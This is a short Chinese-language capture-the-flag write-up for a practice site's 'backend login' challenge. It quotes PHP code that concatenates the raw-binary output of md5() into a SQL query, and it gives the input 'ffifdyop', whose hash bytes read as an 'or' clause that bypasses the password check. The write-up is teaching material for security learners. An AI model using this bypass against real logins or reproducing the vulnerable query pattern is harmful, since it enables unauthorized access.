**
后台登陆SQL
**
地址:http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
查看源代码,出现提示,后台数据库的查询代码:
<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
} -->
分析代码:
md5($password,true),对我们输入的密码进行了md5加密
【
】
但是组成SQL查询语句的时候这个hex(16进制)会被转成字符串,如果转换之后的字符串包含’or’,就会和原查询语句一起组成:
$sql="select password from users where password=''or'<xxx>'"
导致了sql注入
提供一个字符串: ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串:'or ’ 6
解析:存在 or 即代码的两边有一边为真既可以绕过,其实为垃圾代码没有任何用的。
or 后面有6,非零值即为真。既可以成功绕过。
【
作者:许胖子
链接:https://www.jianshu.com/p/e37e26d2ba7f
來源:简书
】
构造的SQL语句:SELECT * FROM admin WHERE pass=’ ‘or ’ 6’
后面代码只是判断了返回回来的结果的行数是否是大于零:
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0)